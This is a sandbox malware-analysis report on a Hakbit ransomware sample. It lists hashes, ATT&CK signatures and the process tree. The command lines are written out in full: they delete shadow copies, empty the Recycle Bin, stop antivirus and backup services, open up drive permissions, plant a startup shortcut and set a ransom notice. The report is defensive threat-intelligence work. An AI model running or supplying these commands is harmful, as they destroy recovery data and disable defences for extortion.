hakbit | e5242266d9fc1e27e583a920ff6b9ff445c0942793ed80a92d5c5b6792d25f62

Resubmissions

17-11-2020 12:01

201117-yzjn4s5cdn 10

18-06-2020 04:28

200618-tg948yvz5n 10

Analysis

max time kernel
1800s
max time network
1733s
platform
windows7_x64
resource
win7v20201028
submitted
17-11-2020 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

System.exe
Size

66KB
MD5

8d6ab03994b0ce3466873aa7532fe76b
SHA1

156aecd4d8e65d205181ad5eace466c8798d3c86
SHA256

e5242266d9fc1e27e583a920ff6b9ff445c0942793ed80a92d5c5b6792d25f62
SHA512

2c1df9fb201b4a750378dfa7029755239167efa51ae4ddc9c5042218a1d01c3bf5557c09faeda4f3f68818082a6f95526d5776d432b5b6774ae2c1c90dc7a84c

Score

10^/10

hakbit discovery persistence ransomware spyware

Malware Config

Signatures

Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2336 cmd.exe
Drops startup file 1 IoCs

Processes:

System.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk System.exe

pid	process
2336	cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	System.exe

Modifies file permissions 1 TTPs 29 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
300	icacls.exe
2352	icacls.exe
2512	icacls.exe
2576	icacls.exe
2716	icacls.exe
2480	icacls.exe
1748	icacls.exe
924	icacls.exe
1152	icacls.exe
2832	icacls.exe
2888	icacls.exe
2544	icacls.exe
2608	icacls.exe
1504	icacls.exe
1204	icacls.exe
2224	icacls.exe
2256	icacls.exe
1716	icacls.exe
2128	icacls.exe
2288	icacls.exe
2416	icacls.exe
2096	icacls.exe
2192	icacls.exe
2320	icacls.exe
2448	icacls.exe
1340	icacls.exe
2064	icacls.exe
2160	icacls.exe
2384	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

System.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	System.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "\r\n* ATTENTION *\r\nYour File Locked By \"Military Algorithm\" And Wiped. \r\nFor Recovery Your Files Contact : [email protected]"	System.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
1216	vssadmin.exe
1424	vssadmin.exe
1168	vssadmin.exe
2032	vssadmin.exe
232	vssadmin.exe
1784	vssadmin.exe
304	vssadmin.exe
1720	vssadmin.exe
1980	vssadmin.exe
1928	vssadmin.exe
1764	vssadmin.exe
1736	vssadmin.exe
1412	vssadmin.exe
228	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1144 taskkill.exe
1896 taskkill.exe
1888 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2132 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2200 PING.EXE

pid	process
1144	taskkill.exe
1896	taskkill.exe
1888	taskkill.exe

pid	process
2132	notepad.exe

pid	process
2200	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exe

pid	process
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

2752 taskmgr.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

System.exetaskkill.exetaskkill.exetaskkill.exevssvc.exetaskmgr.exe

description	pid	process
Token: SeDebugPrivilege	344	System.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeDebugPrivilege	1896	taskkill.exe
Token: SeDebugPrivilege	1888	taskkill.exe
Token: SeBackupPrivilege	268	vssvc.exe
Token: SeRestorePrivilege	268	vssvc.exe
Token: SeAuditPrivilege	268	vssvc.exe
Token: SeDebugPrivilege	2752	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

System.exetaskmgr.exe

pid	process
344	System.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

System.exetaskmgr.exe

pid	process
344	System.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe
2752	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

System.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 344 wrote to memory of 1920	344	System.exe	net.exe
PID 344 wrote to memory of 1920	344	System.exe	net.exe
PID 344 wrote to memory of 1920	344	System.exe	net.exe
PID 1920 wrote to memory of 2004	1920	net.exe	net1.exe
PID 1920 wrote to memory of 2004	1920	net.exe	net1.exe
PID 1920 wrote to memory of 2004	1920	net.exe	net1.exe
PID 344 wrote to memory of 1436	344	System.exe	net.exe
PID 344 wrote to memory of 1436	344	System.exe	net.exe
PID 344 wrote to memory of 1436	344	System.exe	net.exe
PID 1436 wrote to memory of 1784	1436	net.exe	net1.exe
PID 1436 wrote to memory of 1784	1436	net.exe	net1.exe
PID 1436 wrote to memory of 1784	1436	net.exe	net1.exe
PID 344 wrote to memory of 1768	344	System.exe	net.exe
PID 344 wrote to memory of 1768	344	System.exe	net.exe
PID 344 wrote to memory of 1768	344	System.exe	net.exe
PID 1768 wrote to memory of 1704	1768	net.exe	net1.exe
PID 1768 wrote to memory of 1704	1768	net.exe	net1.exe
PID 1768 wrote to memory of 1704	1768	net.exe	net1.exe
PID 344 wrote to memory of 1760	344	System.exe	net.exe
PID 344 wrote to memory of 1760	344	System.exe	net.exe
PID 344 wrote to memory of 1760	344	System.exe	net.exe
PID 1760 wrote to memory of 1248	1760	net.exe	net1.exe
PID 1760 wrote to memory of 1248	1760	net.exe	net1.exe
PID 1760 wrote to memory of 1248	1760	net.exe	net1.exe
PID 344 wrote to memory of 1252	344	System.exe	net.exe
PID 344 wrote to memory of 1252	344	System.exe	net.exe
PID 344 wrote to memory of 1252	344	System.exe	net.exe
PID 1252 wrote to memory of 316	1252	net.exe	net1.exe
PID 1252 wrote to memory of 316	1252	net.exe	net1.exe
PID 1252 wrote to memory of 316	1252	net.exe	net1.exe
PID 344 wrote to memory of 1336	344	System.exe	net.exe
PID 344 wrote to memory of 1336	344	System.exe	net.exe
PID 344 wrote to memory of 1336	344	System.exe	net.exe
PID 1336 wrote to memory of 1744	1336	net.exe	net1.exe
PID 1336 wrote to memory of 1744	1336	net.exe	net1.exe
PID 1336 wrote to memory of 1744	1336	net.exe	net1.exe
PID 344 wrote to memory of 596	344	System.exe	net.exe
PID 344 wrote to memory of 596	344	System.exe	net.exe
PID 344 wrote to memory of 596	344	System.exe	net.exe
PID 596 wrote to memory of 268	596	net.exe	net1.exe
PID 596 wrote to memory of 268	596	net.exe	net1.exe
PID 596 wrote to memory of 268	596	net.exe	net1.exe
PID 344 wrote to memory of 1460	344	System.exe	net.exe
PID 344 wrote to memory of 1460	344	System.exe	net.exe
PID 344 wrote to memory of 1460	344	System.exe	net.exe
PID 1460 wrote to memory of 528	1460	net.exe	net1.exe
PID 1460 wrote to memory of 528	1460	net.exe	net1.exe
PID 1460 wrote to memory of 528	1460	net.exe	net1.exe
PID 344 wrote to memory of 1008	344	System.exe	net.exe
PID 344 wrote to memory of 1008	344	System.exe	net.exe
PID 344 wrote to memory of 1008	344	System.exe	net.exe
PID 1008 wrote to memory of 1104	1008	net.exe	net1.exe
PID 1008 wrote to memory of 1104	1008	net.exe	net1.exe
PID 1008 wrote to memory of 1104	1008	net.exe	net1.exe
PID 344 wrote to memory of 968	344	System.exe	net.exe
PID 344 wrote to memory of 968	344	System.exe	net.exe
PID 344 wrote to memory of 968	344	System.exe	net.exe
PID 968 wrote to memory of 112	968	net.exe	net1.exe
PID 968 wrote to memory of 112	968	net.exe	net1.exe
PID 968 wrote to memory of 112	968	net.exe	net1.exe
PID 344 wrote to memory of 1572	344	System.exe	net.exe
PID 344 wrote to memory of 1572	344	System.exe	net.exe
PID 344 wrote to memory of 1572	344	System.exe	net.exe
PID 1572 wrote to memory of 668	1572	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\System.exe
"C:\Users\Admin\AppData\Local\Temp\System.exe"
1⤵
- Drops startup file
- Modifies WinLogon
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:344

C:\Windows\system32\net.exe
"net.exe" stop avpsus /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1920

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:2004

C:\Windows\system32\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1436

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
3⤵
PID:1784

C:\Windows\system32\net.exe
"net.exe" stop mfewc /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfewc /y
3⤵
PID:1704

C:\Windows\system32\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
3⤵
PID:1248

C:\Windows\system32\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1252

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
3⤵
PID:316

C:\Windows\system32\net.exe
"net.exe" stop DefWatch /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
3⤵
PID:1744

C:\Windows\system32\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
3⤵
PID:268

C:\Windows\system32\net.exe
"net.exe" stop ccSetMgr /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
3⤵
PID:528

C:\Windows\system32\net.exe
"net.exe" stop SavRoam /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
3⤵
PID:1104

C:\Windows\system32\net.exe
"net.exe" stop RTVscan /y
2⤵
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
3⤵
PID:112

C:\Windows\system32\net.exe
"net.exe" stop QBFCService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
3⤵
PID:668

C:\Windows\system32\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:868

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
3⤵
PID:432

C:\Windows\system32\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
PID:1528

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
3⤵
PID:1584

C:\Windows\system32\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:1712

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
3⤵
PID:2032

C:\Windows\system32\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:1992

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
3⤵
PID:1884

C:\Windows\system32\net.exe
"net.exe" stop YooIT /y
2⤵
PID:1728

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooIT /y
3⤵
PID:1736

C:\Windows\system32\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:1372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
3⤵
PID:1152

C:\Windows\system32\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:1220

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
3⤵
PID:1516

C:\Windows\system32\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
3⤵
PID:988

C:\Windows\system32\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:1012

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:568

C:\Windows\system32\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:952

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:684

C:\Windows\system32\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:1348

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:844

C:\Windows\system32\net.exe
"net.exe" stop veeam /y
2⤵
PID:680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop veeam /y
3⤵
PID:2044

C:\Windows\system32\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:620

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:1588

C:\Windows\system32\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:1532

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2008

C:\Windows\system32\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:1488

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:1884

C:\Windows\system32\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:1704

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:1792

C:\Windows\system32\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:1420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
3⤵
PID:1248

C:\Windows\system32\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:1604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:1500

C:\Windows\system32\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:292

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:548

C:\Windows\system32\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:1104

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:1476

C:\Windows\system32\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:592

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:1204

C:\Windows\system32\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:1588

C:\Windows\system32\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:1828

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
3⤵
PID:1908

C:\Windows\system32\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:1904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
3⤵
PID:1064

C:\Windows\system32\net.exe
"net.exe" stop sophos /y
2⤵
PID:1776

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophos /y
3⤵
PID:1764

C:\Windows\system32\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:916

C:\Windows\system32\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:1744

C:\Windows\system32\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:392

C:\Windows\system32\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:472

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1896

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1888

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:1736

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2032

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:1216

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:304

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:232

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1412

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1424

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:228

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1980

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1168

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1928

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1784

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1720

C:\Windows\system32\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:1764

C:\Windows\system32\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
2⤵
PID:216

C:\Windows\system32\icacls.exe
"icacls.exe" A:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1340

C:\Windows\system32\icacls.exe
"icacls.exe" B:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1748

C:\Windows\system32\icacls.exe
"icacls.exe" D:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1504

C:\Windows\system32\icacls.exe
"icacls.exe" E:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1204

C:\Windows\system32\icacls.exe
"icacls.exe" F:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:924

C:\Windows\system32\icacls.exe
"icacls.exe" G:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:300

C:\Windows\system32\icacls.exe
"icacls.exe" H:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1716

C:\Windows\system32\icacls.exe
"icacls.exe" I:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1152

C:\Windows\system32\icacls.exe
"icacls.exe" J:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2064

C:\Windows\system32\icacls.exe
"icacls.exe" K:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2096

C:\Windows\system32\icacls.exe
"icacls.exe" L:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2128

C:\Windows\system32\icacls.exe
"icacls.exe" M:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2160

C:\Windows\system32\icacls.exe
"icacls.exe" N:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2192

C:\Windows\system32\icacls.exe
"icacls.exe" O:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2224

C:\Windows\system32\icacls.exe
"icacls.exe" P:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2256

C:\Windows\system32\icacls.exe
"icacls.exe" Q:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2288

C:\Windows\system32\icacls.exe
"icacls.exe" R:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2320

C:\Windows\system32\icacls.exe
"icacls.exe" S:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2352

C:\Windows\system32\icacls.exe
"icacls.exe" T:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2384

C:\Windows\system32\icacls.exe
"icacls.exe" U:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2416

C:\Windows\system32\icacls.exe
"icacls.exe" V:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2448

C:\Windows\system32\icacls.exe
"icacls.exe" W:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2480

C:\Windows\system32\icacls.exe
"icacls.exe" X:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2512

C:\Windows\system32\icacls.exe
"icacls.exe" Y:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2544

C:\Windows\system32\icacls.exe
"icacls.exe" Z:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2576

C:\Windows\system32\icacls.exe
